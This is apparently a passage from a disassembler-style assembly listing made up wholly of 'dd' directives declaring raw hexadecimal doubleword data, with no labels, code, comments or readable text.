dd 2F4CB31Ch, 686C49B2h, 0F20A981h, 0A2171B9Bh, 59A9080Dh
dd 0CBBF9BE2h, 58E617D2h, 0D2E7A769h, 0C2C1C4E6h, 439AEE1Bh
dd 0AA605179h, 5FDF2794h, 11607D5h, 0E283D8Ch, 6A0F766Fh
dd 45E58AACh, 20312831h, 0F315AC70h, 0F1229F8Dh, 419392D2h
dd 19CFA399h, 13B7A2DFh, 0E843E9E9h, 0D1F0AF58h, 0E4B7C62Ch
dd 69F42268h, 0FB85CBF3h, 0F6F9F6B5h, 84EC4D51h, 465CE3C6h
dd 863E6F82h, 7A835A52h, 0EB71CABCh, 0F0F6EE04h, 4D6FD6A2h
dd 0A096CA30h, 0FB9E22DAh, 5646C503h, 0C30F58C4h, 0CDD11797h
dd 48522601h, 4835814Ch, 7FD4B7BEh, 713C1CABh, 364222Ch
dd 9EA0F71Fh, 8CDB8927h, 10BAC828h, 34C8E09Fh, 0DB3770F7h
dd 2B4B7B54h, 7AFCCFC5h, 59DC54F6h, 0F1C2EB2Dh, 97E4717h
dd 714C8B9Ch, 80DCCC26h, 0D2F9C92Ch, 0ED001A86h, 0BA761F4Bh
dd 4B9CE63Bh, 9A95CD07h, 2A2D8818h, 6E8E5FEAh, 0BF6FB2F2h
dd 7AC40645h, 0DF6AC1DAh, 89A36642h, 7854931Dh, 0EFB78117h
dd 0BAB70BAEh, 0EB093889h, 187F81E6h, 0B636DB5Fh, 7390B723h
dd 533B6471h, 8D4C220Fh, 7F28D671h, 38DF61E0h, 53A30B6h
dd 53A375C1h, 880D83A5h, 0AF2EBFC1h, 0D9A97E31h, 5A241AABh
dd 0CEA9DA4Dh, 0E23FECBBh, 4B860B9Ch, 36F81DDFh, 38C95BC3h
dd 0B9CBA1DBh, 0ABD77FF6h, 68865DB6h, 0FD5E6050h, 0B8CA897Bh
dd 0C981819Bh, 0A6979F76h, 0C1F8026Ah, 33EF967Bh, 0D2BD5FCEh
dd 0DE902490h, 0CCB0497Ch, 2647E06Bh, 518EF745h, 0B1483A57h
dd 993EF202h, 0ECFB1E4Fh, 5B9B92AEh, 2C23F7C7h, 0ABFC3EABh
dd 0ACD04D53h, 5170A53h, 9E5BC616h, 9DF2EBA3h, 0D28DE7D2h
dd 54C045E5h, 0C4EFBD56h, 0ECA922C2h, 43C84AAEh, 485C593h
dd 0F3D6BD73h, 53CC9CC5h, 3698EF1Eh, 22EAF0E8h, 0DAFFA789h
dd 45DD1CBBh, 7930627Dh, 0E498A0EAh, 871284BCh, 4FD17EB9h
dd 76E78AE9h, 820AB24Fh, 882EE596h, 706CAE8h, 0B454FA65h
dd 0B60DAE9Bh, 1D88A272h, 14E317EDh, 19F250B4h, 0EC76D463h
dd 0FC3F41EAh, 0D13CAB13h, 4435278Ch, 78DC1ECh, 992D321Fh
dd 4E741828h, 81E60BAEh, 0F5703D49h, 738923EAh, 1FABF729h
dd 7F0E78BBh, 36A1FC3Fh, 54A9AF04h, 3FC03C80h, 1B673442h
dd 3AC4A72Eh, 68DC5741h, 0D1372389h, 0E425D672h, 48592642h
dd 6F03CA70h, 623EFADh, 0D06E3998h, 2BB9901h, 7208922Eh
dd 0AF5C3A34h, 0D53ED6D8h, 56EBD917h, 0CB2D3C56h, 0EA398FDEh
dd 0B6C6E82Dh, 0BD03AF11h, 0FE9967B5h, 0DC824FB9h, 0D8070227h
dd 0F47BBB48h, 0C491B16Ch, 529BF650h, 6AF28042h, 42C76474h
dd 62FC9268h, 0A4E8728h, 2DA865DCh, 18582EFEh, 50F83913h
dd 0D1A91C33h, 3311EE96h, 0D8510BE7h, 605CCF5Fh, 24EB9DBEh
dd 0FF65A892h, 6E7F9C11h, 516298EEh, 51F30AF8h, 96676CE5h
dd 412D63F7h, 3C2E1794h, 0D8BE42AEh, 3D62B3BFh, 1482779Bh
dd 0A84E651h, 978199D3h, 3DACA300h, 8DDFB6CDh, 7CCFDEB1h
dd 0AA0E6826h, 8A3A8959h, 7735808h, 0E3A9D82Ah, 0AC88F993h
dd 33A2FB0Eh, 0BC3544CFh, 5250D404h, 0D9EB058Fh, 9FD03AE6h
dd 0FA88B4EDh, 0D196E1F0h, 1F03CD72h, 3F8AE2B0h, 8AC9F808h
dd 3145F148h, 7F51C20Ch, 0F2C0FC4Ah, 0D7C03174h, 0B4AE1027h
dd 0BC4AF00Ch, 56857FAEh, 5D735F8Ah, 0AC31D97Eh, 18417557h
dd 2D8A8340h, 0C3740B12h, 9493C693h, 0B3207937h, 4B476171h
dd 0E050456Eh, 0B0709557h, 0CB9AFEECh, 0EE79846Eh, 0A39EC5A8h
dd 697C4C62h, 5F853A4Dh, 0F6121480h, 95163D3Eh, 0B75190E7h
dd 226C7F77h, 4379273Fh, 783D3622h, 2B8BDB49h, 668155FBh
dd 1FCD3096h, 0D3F51A97h, 3D0BF343h, 8560D8D1h, 568ACEC5h
dd 62019820h, 0BDECB071h, 5E5D5F70h, 1033CD5Bh, 28858377h
dd 0EE68779Fh, 73202FC8h, 0EDF1E999h, 0CF3F3849h, 0EBC5C4F8h
dd 4EE19F53h, 0C47DDF3Bh, 2BE91B80h, 88E216D9h, 0E791AA53h
dd 41F2A4CFh, 0A609C084h, 7B781DB6h, 90DDAC78h, 0DAFCCA7Ch
dd 0D97197E6h, 1EF05337h, 0CA35F322h, 23849B22h, 60D7C4B0h
dd 0D203BE1Bh, 0B607748Ah, 596E98B7h, 0A7A16BF6h, 9776C972h
dd 16406129h, 62F0C3ADh, 47E94584h, 4D8F9Ah, 7817DFB3h
dd 18741503h, 0B671F4E6h, 0CBE287EAh, 0C0F77056h, 4C47D8F1h
dd 0CD9DE2ADh, 47CF2E1Ch, 39E9932Ah, 3818D1A9h, 45D7A248h
dd 67E1338Ch, 11334019h, 701DBFC1h, 639C9C1Dh, 2EBD6523h
dd 0EAC230EFh, 83853469h, 0C38F0E6Ah, 4FFA85B5h, 5A82D03Fh
dd 0AF3BA2F9h, 0EC3CC3C4h, 0D20CC626h, 99B77B54h, 996395F9h
dd 818CB0E5h, 0BDE7CA8Dh, 6038996Bh, 99AE5748h, 4D55C2Fh
dd 0EF7A6D96h, 7B5645AAh, 0DA8F773Ah, 38637FC4h, 7F5EB273h
dd 0B506D0D5h, 26214951h, 0A6D9F2B3h, 6C0751D2h, 0ACAFA9D9h
dd 6459AC47h, 8C388770h, 0A046CF51h, 37A814CCh, 4BE90518h
dd 0E4AEB9EFh, 49F2E6E1h, 5781A3h, 0C24740BBh, 0F9FAC515h
dd 9D25B1EBh, 98417DC8h, 0F3BEAC71h, 79C93764h, 0FCC327F6h
dd 0BF615706h, 1E861212h, 5E0BFF02h, 0FC9B41DAh, 73A31F96h
dd 0F335437Ah, 1DB0C9DCh, 783E6428h, 548D384Fh, 0D359A75Dh
dd 0E91A3893h, 0B1B0FBE5h, 0FED509A5h, 4F2BFF1Ch, 498AE56Dh
dd 0E7A6D34Eh, 0D234B157h, 5DE70F3Ah, 2F58782Fh, 60FA64B0h
dd 6CBB77CBh, 0EA624D05h, 64B414DCh, 0E500CD7Ch, 0F9ED5A50h
dd 5789C339h, 0F9F1AA8Eh
dd 6E750693h, 782E641Fh, 405633DBh, 0FC75AE5Fh, 8DA2C93Ch
dd 58EC88C9h, 194866A1h, 0A20DF0F9h, 0C7981E5Dh, 0F7DA562h
dd 0E0296116h, 424B6F0Ch, 6A86181Ch, 0A7605D03h, 356988B6h
dd 1E69D360h, 3FF28F15h, 8EE9C6CFh, 0E0754FEEh, 626C35FCh
dd 3F5B2229h, 5BE3FA49h, 0C790F07Ah, 0ADA36902h, 4C0CB9A7h
dd 34C09017h, 2DD87575h, 7E1D4C19h, 3C6CBB38h, 6A53902Ah
dd 0CFE95A55h, 0DC884B5Ah, 5FE42104h, 9AD63536h, 469F1C03h
dd 6681410Dh, 0A45C9ADDh, 0A6BC2FB4h, 0A2826D1h, 0E146BF6Eh
dd 0A45D4128h, 4B3FF8F4h, 6F2788ECh, 1999A521h, 0DACF7E67h
dd 983E5FF2h, 0EC430AB7h, 6AB5BDB6h, 50E2717Dh, 4DBF2610h
dd 5816033Dh, 90DDEC01h, 0E344E579h, 0A996408Ch, 795BB55Fh
dd 0B94ECE89h, 19835886h, 0FFFBCD85h, 1CA4BCD0h, 1AE80CA0h
dd 7988BC13h, 9F2DDD63h, 0DE76D17h, 775A2B98h, 7AA01BA9h
dd 27517D25h, 505C532Ah, 58817A71h, 6C883574h, 9C238077h
dd 7BC8A1BCh, 0E9AFBA7Bh, 0A35D9DACh, 5EF6DDF2h, 68A2A462h
dd 7249AE34h, 972C3DFCh, 54E88EFFh, 0A8E8BEE3h, 4CD73C07h
dd 0AF295B09h, 0CD6DABA4h, 61FFADBBh, 4A60CE74h, 12E6A5B2h
dd 14FEE2F0h, 0D567061h, 249B5E12h, 0F4AFB445h, 0AC58928Dh
dd 0E0745422h, 36F9193h, 3FD9C1A5h, 34293A9h, 0B6CF45BAh
dd 1DA5A1F9h, 0C7B874FDh, 596C38E3h, 0F87B458Ah, 59EC76CDh
dd 54965F24h, 0B1823B7Ch, 0EFA1D690h, 0CA4BCF66h, 90D46B6Ah
dd 0B2BC1E26h, 0E80C0627h, 65D15B32h, 0FF47FBF1h, 26112793h
dd 0F7C892F6h, 0AB941E55h, 0C05636ABh, 5D09C77h, 3808903Bh
dd 56C589C2h, 715EEA45h, 0B23E41B1h, 4CB4CB4Ah, 866D8A52h
dd 5BFED2Bh, 8E79D20Fh, 12A2876Dh, 0A48F2D7Ch, 95ABAA4Ch
dd 0D11FE2A4h, 67CA3C08h, 5688C4B6h, 0D736C45Dh, 0AA0515EFh
dd 54DA9E22h, 86D24AC9h, 0A14610F7h, 6E8F05E3h, 0AB3E5Dh
dd 0DFDEF8C4h, 99644B49h, 383A337Ah, 0FD89A487h, 0B82E060Ah
dd 849CF5F5h, 4FE1BD0Eh, 0DC623126h, 0C427B109h, 0A97ACDE3h
dd 96218D67h, 67C7E977h, 4A01BB71h, 25983CD1h, 0DE3A1063h
dd 0EE961CBBh, 33EF41D3h, 0DCD4A82Fh, 61972378h, 898C67B7h
dd 0AC0A1C6Dh, 0D845A329h, 9066CBE4h, 0C8E95498h, 0FCBF5609h
dd 662955B5h, 3402946Ch, 0A4C82D49h, 42BBDCE7h, 9326947Ah
dd 0B8D87F7h, 0C568D741h, 1DCDE15Ah, 54E7BA05h, 0A314ACBCh
dd 0EA151C8Eh, 0E5AC11B9h, 0C8F8907h, 0FFFACA33h, 692C25A5h
dd 0EC41B8D9h, 0A72964E9h, 44AD20D6h, 63063825h, 1B71E294h
dd 0B031C96Ah, 1D27282h, 0CCC9B08Ch, 45EA128h, 0C139C1DAh
dd 0C0CEB888h, 2B101D69h, 5245104Eh, 4767A95Fh, 0E1192A29h
dd 0D87421D7h, 882F1660h, 1D03F4BEh, 0D2D29D2Eh, 0EB122664h
dd 0C418544Ah, 0BE5CA020h, 153658DCh, 0C65A3D34h, 0A881026Ch
dd 7BFAFE25h, 0B94C613Ch, 0E989D819h, 6AB8CAEEh, 0EA78B0E0h
dd 31768455h, 0F3D653DDh, 0F7CC565Ch, 364A1400h, 0EFAFD583h
dd 537C2ED4h, 5FDC9592h, 0A310B0C4h, 0DA44822Eh, 6CF8D57Fh
dd 2E4EE615h, 0BC38BF19h, 1B8DA5BEh, 0AB44C954h, 0E8157A41h
dd 95AB7A2Dh, 5E635554h, 65C803AAh, 55992B9h, 0CDB341E1h
dd 0E91A1F04h, 8BAADB62h, 6B6D6D84h, 43B131DCh, 0E3613574h
dd 559A324Fh, 3D76984Ch, 3EF92579h, 34F8DD7Bh, 6D43B6Ch
dd 8760E13Bh, 0C4EF7BC3h, 0D0579404h, 0CFF12FE6h, 0AED641E5h
dd 42CB77A9h, 24BF265Bh, 5AD0572Ah, 9A66C646h, 4BE4A627h
dd 9636CA76h, 0BCBF0928h, 0F0F5B45Eh, 456D6A59h, 5469D5FAh
dd 79368D5Eh, 0C5984578h, 4DA3B533h, 65D0E11Ah, 0BE696C19h
dd 97FA02B3h, 16333B9Ch, 355CE01Dh, 40C0F553h, 0D9F43A0h
dd 81527D0Fh, 0E1C7C84h, 8F89733h, 2A25CFEDh, 4D94DDDEh
dd 0B4F630FAh, 2EF312CBh, 28EEB998h, 1F500CB5h, 0F320A41Eh
dd 24239BC1h, 99CF3935h, 0A1231671h, 0DE157426h, 9822A784h
dd 4149BAE2h, 297D28C5h, 617E00C2h, 90F42E45h, 0D7893EBDh
dd 0E92C3B71h, 0DFDB211Fh, 0DCB887C0h, 70C3AF07h, 1936AB2Fh
dd 277B9737h, 1595642h, 5BD0BBBBh, 57C76809h, 9B4A509Ch
dd 0D80C1602h, 7EB02073h, 3DE612Dh, 545FE300h, 0E7E6D0A9h
dd 72F1F360h, 4326882Bh, 6B57246Dh, 0B848DF84h, 0EA81FED0h
dd 4C3D6BEAh, 5F9807B1h, 47486C3Fh, 2640AF53h, 5E1A039Eh
dd 253063E4h, 0A9660DAh, 0ADF14904h, 6644D649h, 4E2199E6h
dd 40C6ED17h, 1213E13h, 0BD620A0Eh, 4CD4F107h, 8AF919C9h
dd 0CE492CE5h, 1C022904h, 8CB909E7h, 0C5462A19h, 710E209Fh
dd 34669A60h, 8B375361h, 0AEA15C96h, 0B572B2A9h, 95ADDF96h
dd 0F1509E89h, 0BEAA3F5Dh, 0C5C226A9h, 7117522Bh, 0CA4CA190h
dd 0AC984231h, 1744F025h, 0D0C6C0F1h, 83E1A0B8h, 0AA4522DEh
dd 0F896C7DEh, 212E414h, 16B0345Eh, 64CA00ACh, 61D12D99h
dd 0EAF8F79Ah, 42A22381h, 0E7E86736h, 98FE2E37h, 0E53209B9h
dd 43A2BFFAh, 388C6CE7h, 49D8A32Eh, 35F431Dh, 0EB995CB2h
dd 62AA8716h, 4553C9Fh, 6468025h, 0BA376826h, 0DC1BC1ECh
dd 685F6540h, 8871F79Ah, 0C7EF8AAAh, 52ACF8D5h, 4D428437h
dd 4E7B030h, 0AE542A3Ah, 7ACB053Ah, 9F267A87h, 4EFB464h
dd 8E203F5Ch, 0ECFBD743h, 2E27C093h, 15AF6110h, 0E409F6A0h
dd 67BA8AEFh, 6748370Bh, 98956BB2h, 8DB9DDFAh, 0AEED66A5h
dd 6DDD567Fh, 51D713DFh, 3AC7BB94h, 0E2732543h, 9F9F60B3h
dd 0BF103BB0h, 4E766C57h, 148EC674h, 9C8921CEh, 0AB03BF44h
dd 655535ADh, 0CD2A7C78h, 2009A28Ch, 7221711Eh, 7917C7BFh
dd 2F95CCFEh, 22A078CDh, 97748D8Ch, 44A851B5h, 0B1B77E5Eh
dd 0D811B9D4h, 6CCA242Ah, 69F6A8E1h, 15303588h, 78F4CE7Fh
dd 7ACB2C62h, 0FDF70D39h, 3187A130h, 0EA5C4405h, 0A6B1B005h
dd 0B5BB9F4Eh, 8A240A2Ch, 0FD86452h, 163843Ah, 10D2CF3h
dd 5FCA4C71h, 0C5D3896Ch, 7DD9030Dh, 728F9F13h, 0DAF1FFDBh
dd 1F4D5AA9h, 0EF9AE068h, 26805ED2h, 8466557Bh, 0D6DEC770h
dd 0DE0E44E3h, 0FC32B319h, 0EBD4E397h, 0E1C032CDh, 0D93E2DB4h
dd 0F158C561h, 0F1EF047Ch, 2E2074Eh, 7275720Eh, 9FACD0Fh
dd 598DABCAh, 926BFB04h, 0E0B8D9D9h, 0FA61C5DCh, 0D100EAE7h
dd 233833DFh, 0FAB9BE24h, 6E7BAAC3h, 0FCC726ECh, 7772AFDEh
dd 1A4435Bh, 0EA0BE890h, 0E428F3A1h, 939E5D0Ch, 64871130h
dd 4321332h, 44E1C11Ch, 0C07A1076h, 0FC8A98FFh, 4EE04F7Bh
dd 0DE3E311Eh, 0B5A03994h, 0CBF266C3h, 0E81E64E9h, 0E346F28Fh
dd 0C674429Fh, 3F961031h, 0BCC522DAh, 0A6AE43F9h, 64536EE1h
dd 0E738D9D7h, 7AE06F8Ah, 848F8BBAh, 6169922Ah, 894C9629h
dd 0B0C11D3Fh, 52040B83h, 8412B81Ah, 7308097h, 83B3345Eh
dd 1F92F587h, 11EDFA1Dh, 0B3F06F50h, 0CE57D0Ah, 66E7CFFFh
dd 0F38765B0h, 6F6D8A27h, 5E8E2F2Eh, 64B261E8h, 1CC0CB0h
dd 0C9F3F554h, 267A15F5h, 0F5E35673h, 9D413E84h, 1C78FF59h
dd 0FDACC846h, 0EB96AB98h, 0BAC4D65h, 4F47AA5Bh, 0BA307EBFh
dd 57CD92AAh, 1A6781F7h, 0A01270BCh, 0B9E2B879h, 0B9C47FC8h
dd 6971D83h, 69F6FA03h, 818D2BE3h, 7D228F5Bh, 0C80B7423h
dd 0B440C082h, 0A0EFC523h, 258B8CA8h, 0A8495047h, 0BB28C6A8h
dd 521D7A5Bh, 3D921DEBh, 9A3566ECh, 0DE9D7FF2h, 5672F15h
dd 322B230Dh, 18718A0Bh
dd 21DBBBE7h, 0DC7A513h, 1EBC567Dh, 0EE034E74h, 5B479B45h
dd 4BAE1DBh, 0C66D3E5Ch, 8C54D26Ah, 0D4F8473h, 0A8A6A4B1h
dd 1CA4270Eh, 0F0979D26h, 0A1AFBA96h, 0BCD4C340h, 0B03B2D43h
dd 2BC68D4Ah, 2A4698A7h, 2542DB9Fh, 944FED4h, 70FB6558h
dd 7E9FECC9h, 563685CCh, 2EA99CBAh, 2DD4E099h, 4B89978Dh
dd 0D96CD6C9h, 0D47D6507h, 0DA20E6DEh, 8018F223h, 2F53ED7Ah
dd 778FBD41h, 45A7087Ch, 0CBBA27DCh, 0C8797F2h, 8AA92D09h
dd 2C7C3EB1h, 11C37146h, 0C59C0B12h, 0A9AD5A96h, 32A5B704h
dd 8C33E6DBh, 2519105Fh, 0C8BFAF4h, 6C08D8B7h, 78F86B52h
dd 153432C7h, 823FE5BFh, 0BE162241h, 6B7F6778h, 0FD17A2B8h
dd 0C4B1D398h, 0E7817715h, 32C0D19Bh, 0F1E1FBA8h, 0E57C4B4Bh
dd 0CF955FDFh, 5B0A033Fh, 0EA2B5816h, 0ACF35BBBh, 4A07D61Fh
dd 0D0FDF75h, 0BA1E5918h, 0A412FC98h, 0BA8C3621h, 7A3B6B8Fh
dd 0CA99672Eh, 0D1165084h, 613AF10Dh, 5C7FC2F3h, 1E3854Dh
dd 7A8CA250h, 0AF3A5833h, 0DA6FA761h, 0B6A8A1CEh, 0ECBE7B94h
dd 6D8617CEh, 0F81E0BA2h, 0A7EE4F9Ah, 0D25C0DB0h, 5B15009Fh
dd 5B71147Bh, 0B6D9EA40h, 7E9B4045h, 0EA82191Dh, 0B614B24Bh
dd 27B7C2D6h, 32E09660h, 8994E9A2h, 3F0AF46Dh, 64E7AAFAh
dd 174E60DDh, 6B9F40AEh, 2CC40367h, 401E3837h, 951383ECh
dd 0AF2CFFA4h, 0D2266B25h, 714293h, 7BA0FD9Ah, 48F3342Bh
dd 76225DB3h, 250C4348h, 0D382A2A3h, 43102A56h, 1D73C450h
dd 0B05FBF05h, 7B0D82ABh, 5836AE7h, 0C10C0A6Eh, 9793CB50h
dd 7BB950C6h, 239FE33Dh, 0DBCB1D00h, 3C1AE33Dh, 98D805E7h
dd 8D4D6D44h, 3A47C787h, 1DC0A621h, 18C2AD78h, 0B7E59DA5h
dd 0B4BF3CA0h, 0EB78E0F5h, 2F5AF05Bh, 0FBCF24B8h, 737F231Fh
dd 0ABF33E52h, 0BD357B36h, 0E5D2A847h, 0B68FFC4Fh, 5DA49FA7h
dd 0E1237306h, 5E55261Ah, 5754B59h, 273E4A61h, 59DCF264h
dd 0A0DD976Ch, 0B63EC217h, 5961E312h, 6713FB25h, 0D442317h
dd 0D9BC855Ch, 0BC306FB7h, 3E1277CCh, 0DFF18FAh, 9E412ABFh
dd 9E2B902h, 0E07FDC2Ch, 2CB8AA22h, 0F18BD0C0h, 42804440h
dd 836CB0D7h, 8326F138h, 9C4ED9DDh, 8B60E40Eh, 0FCAFB2C0h
dd 0B7FB0298h, 58FB6875h, 0FD5D884Fh, 13600BE4h, 9747A0C4h
dd 9C307429h, 401C2AE8h, 0DA755F39h, 7812B6h, 1518530Ch
dd 0B86301B4h, 72144C03h, 0FA9AEFCEh, 0E3690E95h, 0A501CEA4h
dd 0B2503730h, 0F5B37CE7h, 323CE3h, 79913A58h, 76EC0601h
dd 0B5C01FFBh, 0AAB8905Ah, 9395B4F0h, 14990B21h, 0E98F0BA2h
dd 80053B6Ch, 0A5EE5F55h, 347018E1h, 0DCF04E96h, 0D5170B23h
dd 0E0B0AF66h, 60FDEE7h, 77398669h, 0F2331468h, 2D352DDAh
dd 73699C7Bh, 43E555A7h, 750A0601h, 0EDF16C8Fh, 0AB7837C8h
dd 1EA649BEh, 0A27370A8h, 43D80672h, 0E5AB07F9h, 5E882BE8h
dd 290ED5E3h, 0F8E5ED21h, 3FF7BFh, 7DFF80D8h, 0BDCA5D0Eh
dd 2EF7E741h, 6DF552BEh, 0B2CB4420h, 0E3BBF295h, 1B485A15h
dd 6B3D430Dh, 0FD1F6914h, 739BD2A1h, 56E3AD80h, 2F6445D2h
dd 0B4F51EB3h, 0CF395F5Ch, 0E4721210h, 63C87093h, 0D17F2F6Fh
dd 3959DDACh, 0CA34F167h, 0D6013514h, 3A2BB9E3h, 0D435614h
dd 52BD468Ch, 0BAE158FCh, 670036CEh, 969115C7h, 6A09CA7Fh
dd 58319A39h, 69C4F3CBh, 44A9A604h, 12E23F8Eh, 0B97C796Fh
dd 19A51C76h, 3F1FB215h, 0AEF841C9h, 0E343CEC5h, 0A7D5A5DDh
dd 160BCFA8h, 0DAD26531h, 0F0A5557Ah, 66A8F9BEh, 6B167F20h
dd 0D8724D47h, 0AAE69BD6h, 0F61E3ABFh, 0B57A9142h, 8755D704h
dd 0C02C3E22h, 0F4C0808Dh, 98782586h, 4E9DDD53h, 0C3662C24h
dd 0F9F854E7h, 0B0BBAF0Ch, 0DAEC6EE6h, 2ECB3A9h, 0C754EA67h
dd 0DAC981F1h, 4CD1F9BCh, 271442FBh, 96AD9F63h, 0CAB27FEDh
dd 81F2FD94h, 3744EE49h, 3A94B75Eh, 0F5E5F553h, 61050E56h
dd 4A065FD0h, 807A06FBh, 0D3879D1Bh, 0FCCD3730h, 4B875A4Ch
dd 69CA2858h, 70D738A5h, 0ABE19C79h, 0D3441BFCh, 0D5C2EEF2h
dd 3835628Ah, 67E1EC72h, 911589CAh, 9B9BB7F7h, 675A1731h
dd 0C815E3AAh, 807A9893h, 208323A8h, 0C500F75Eh, 2026A2B9h
dd 87FB6B42h, 0BB15C09Bh, 6C1F66A9h, 7B9A475Eh, 0B58F8F8h
dd 0B3D49DB5h, 38419D73h, 0B81FCAB0h, 61386420h, 0B0880BC6h
dd 0D1BDC6A6h, 940F07EFh, 6A662C7Fh, 0DFCA0257h, 2DE033A9h
dd 3109BCDCh, 6AEF0566h, 30EAD871h, 941E380Bh, 1631E0F0h
dd 0A6FC8365h, 99C450CCh, 0F26C4822h, 0D01C5874h, 0CCAECCADh
dd 0B276422Fh, 0C5157724h, 725C8547h, 3038D3D4h, 6A23F15h
dd 1A333C5h, 384F0364h, 0D53F0669h, 0C9004DAAh, 31999422h
dd 0D7830AE2h, 7534D4EDh, 7930E071h, 557A98B9h, 5E678C71h
dd 82AC3742h, 8B426B16h, 291A379Ch, 0F5B69FF5h, 0A43C253Ch
dd 67C24A41h, 7D3810ABh, 0ACF64B80h, 0B4A688B4h, 9B540B5h
dd 0E9B97D91h, 0D4F507A4h, 5C405B9Fh, 117056EEh, 0A99B7423h
dd 1A2333F1h, 0C9004EFAh, 48DA9733h, 562A3C30h, 8F032ED2h
dd 7C0DF50Dh, 271CAC3Ah, 3BB53618h, 0F46A8E4h, 33ABE12Bh
dd 0CC954852h, 0CF0A6DE9h, 92D201A9h, 0F525F98Eh, 0DB43977Fh
dd 76A2D416h, 84B8C1DEh, 9C28C9BEh, 37E55639h, 66BE539Ah
dd 29F3992Eh, 77135DE1h, 16FFE3B5h, 9AA5C313h, 0C893E82Fh
dd 59EAC623h, 1A49FD0Dh, 0BBCB1DF4h, 20057E65h, 0C3EDE487h
dd 1FEAA405h, 3248D050h, 515AB1A6h, 701F8B94h, 674F4474h
dd 0F521DCE2h, 19DD2B1h, 0EBF4682h, 26BD4865h, 80893833h
dd 0A346B676h, 26A47D32h, 8AE196FBh, 0BD7B35D1h, 7E2E60E8h
dd 1B20AAC8h, 7AE21298h, 0D16F37CFh, 6105E77Eh, 0E67A157Dh
dd 53F5019Bh, 0B6D708D4h, 430F9C98h, 62F1D7A1h, 0D0991A06h
dd 0D30375D7h, 97AC6E60h, 0A00414F1h, 0BCE4DFF0h, 6A66E339h
dd 3B562734h, 2E303BEBh, 6B724363h, 0C4B14B4h, 0B73E5D89h
dd 63E96686h, 99BEA3F2h, 12A2126Bh, 0A0D92586h, 7B3B1704h
dd 48B36D51h, 9442B1DFh, 8C6BC3BAh, 83E11BCFh, 9CFCD56Fh
dd 477CA7D7h, 5B5C0D4h, 0E3CD91F8h, 2E1E8363h, 2303D8Eh
dd 0FB81578Bh, 0C37740F1h, 1AD21242h, 20E6DC0h, 0E57F91EEh
dd 67124A65h, 0F55D2032h, 0E2B387A5h, 985291B9h, 0FC6D83DCh
dd 6DD698BFh, 0D8F75CCCh, 59A286B8h, 0F74C8B67h, 0BCDA8D6Ah
dd 664E319Dh, 0F268105h, 65818E0Dh, 9C3D81B3h, 0A3E428D3h
dd 0C29B7D25h, 7EC05E0Ah, 18C54D9Fh, 83BB5F62h, 0BA07A272h
dd 0C64A0A04h, 518E5C23h, 4F349019h, 890233F8h, 0F56A20F3h
dd 0B209F1E6h, 0A436145Fh, 3F111650h, 6FD6649Fh, 1E331B5Dh
dd 7080F8A6h, 925C2B2Fh, 0D967032Eh, 6C6B35BCh, 5B08EE04h
dd 278E166Bh, 8E2F803h, 7C80D02Dh, 0F4652338h, 0E0680B3Ah
dd 370F7BBDh, 2A03871Eh, 0E7981F08h, 0DAD54FFAh, 37AEF086h
dd 2222133Fh, 62484D91h, 0E7C420A3h, 45927174h, 0C1ABFA12h
dd 9C0C7BFh, 0B66C08D9h, 0D31349F0h, 0E24F547Bh, 0AB25DCE2h
dd 85A8F10Dh, 27C9D0C4h, 6B1EA38Ah, 1C3CBAA0h, 559ECEDh
dd 391EA1FDh, 6D565279h, 8B1F10E1h, 8C9D832Eh, 963A1B86h
dd 0B0D2DDC3h, 0B9D1562Ah, 8FA8DC18h, 0C41158B7h, 852562DCh
dd 5E8D6CF1h, 899F6EC0h, 95E4C0B4h, 0C6DA2A7Ch, 6934E1B9h
dd 764F0C1Bh, 0ACFE452Bh, 0FAD03B57h, 707EDE48h, 0F6F1B920h
dd 0D6D583E3h, 13D286ABh
dd 345EFFABh, 88FCBDAh, 859EF4E7h, 0BF6549BAh, 0A5A33D71h
dd 7705B118h, 4CC3D31h, 57E72D0Dh, 0B78E33A6h, 0CE7553DFh
dd 0A0D78DD6h, 0BDA5211h, 702B9348h, 0DC628034h, 0F6560064h
dd 33121B69h, 0CCC10EC4h, 2E8543AFh, 0CC683D38h, 0B1993AC9h
dd 4007D65Fh, 65DF43EBh, 24CFC20Dh, 0BF32E0FEh, 9DCC8007h
dd 0E08A8AEFh, 84B846A5h, 0C93F744Ah, 93B43E34h, 7BEBA6D5h
dd 0CA642764h, 4344CBC1h, 0CBA15C53h, 0DCFB89B0h, 63377031h
dd 0D7B5F92Fh, 7D72D4C4h, 405A1DF4h, 0DC53C1B8h, 0C305C10h
dd 0AB6EDEA5h, 63D829DAh, 77D6416Eh, 0C142B049h, 1F2972B8h
dd 1CA4FDB9h, 0C6AB04A3h, 0DCCFDD66h, 0AEFB426Ah, 82560D58h
dd 37DD6410h, 7F954A00h, 0A8F0DAE2h, 0EE5845A8h, 590EC972h
dd 0CF5C2752h, 8AFA371Fh, 0BBD29B5Bh, 0BD00B308h, 889DA5CFh
dd 0E4AA77EEh, 0B220697Bh, 9960F2ACh, 0EE05DDFAh, 0D870170Eh
dd 37D9FA9Dh, 4884D5Ch, 20E0443Eh, 0F32FBFECh, 52C0BB52h
dd 86E06C1Ah, 19160B2Ah, 6E4E8431h, 79A8534Fh, 5368FD58h
dd 92E8E4h, 0E41D3A55h, 45CB0D1Bh, 745CF766h, 2486CB47h
dd 0E99327C2h, 0F1B343D5h, 1D94B10Ah, 2B84BD7Ah, 442D06EDh
dd 0B7D09A08h, 0A0C1A24Ah, 1D046A58h, 34DA70E4h, 411D03Bh
dd 1F570B74h, 0BBB28D2Ch, 0F15ED63Ch, 60333815h, 825543ABh
dd 73C28F7Ah, 9A58CB07h, 38737766h, 6EA98D38h, 0B5B70979h
dd 0AE7C6D6Fh, 0A80B1336h, 60E1E6DFh, 0E258FDA9h, 0E82AD263h
dd 0D0F3CA23h, 0D553ECC5h, 997E16AFh, 41BE4530h, 1AB6C11Ch
dd 0B47C1EB7h, 0A776C073h, 0A0B61322h, 2B4D0EFAh, 0A913F4F1h
dd 0A0F0DA5Ch, 1FDC05ABh, 5347ABB6h, 0BF8ABFC5h, 40A1A451h
dd 595851A2h, 71104E19h, 8E5AF6B1h, 9402773Bh, 84B7DFD5h
dd 0B29D6E2Eh, 4473820Ch, 781A51B8h, 5DA1EC1Eh, 432D359Dh
dd 0D115DC96h, 0A1C98C4h, 0AFE1323Bh, 0FF3CD479h, 7CE1C1B2h
dd 0B8E41767h, 9346DE54h, 0A136BF4Eh, 0BF17C23Dh, 0B34325D3h
dd 0E1D1F10Bh, 0EC218836h, 0C54173C9h, 7468AFE8h, 989EA39Ch
dd 508787C8h, 4B110A12h, 55191551h, 1077A1E1h, 0E5C25DEBh
